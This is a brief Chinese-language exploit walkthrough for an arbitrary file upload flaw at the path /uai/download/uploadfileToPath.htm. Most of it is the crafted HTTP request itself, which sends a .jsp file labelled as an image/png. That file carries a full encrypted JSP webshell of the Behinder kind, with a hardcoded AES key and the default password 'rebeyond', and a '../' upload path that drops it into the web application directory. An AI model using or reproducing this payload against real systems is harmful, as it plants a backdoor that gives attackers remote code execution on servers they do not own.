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利用过程

大致模样

构造数据包

POST /uai/download/uploadfileToPath.htm HTTP/1.1
HOST: xxxxx
 
-----------------------------570xxxxxxxxx6025274xxxxxxxx1
Content-Disposition: form-data; name="input_localfile"; filename="xxx.jsp"
Content-Type: image/png
 
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
 
-----------------------------570xxxxxxxxx6025274xxxxxxxx1
Content-Disposition: form-data; name="uploadpath"
 
../webapps/notifymsg/devreport/
-----------------------------570xxxxxxxxx6025274xxxxxxxx1--

最终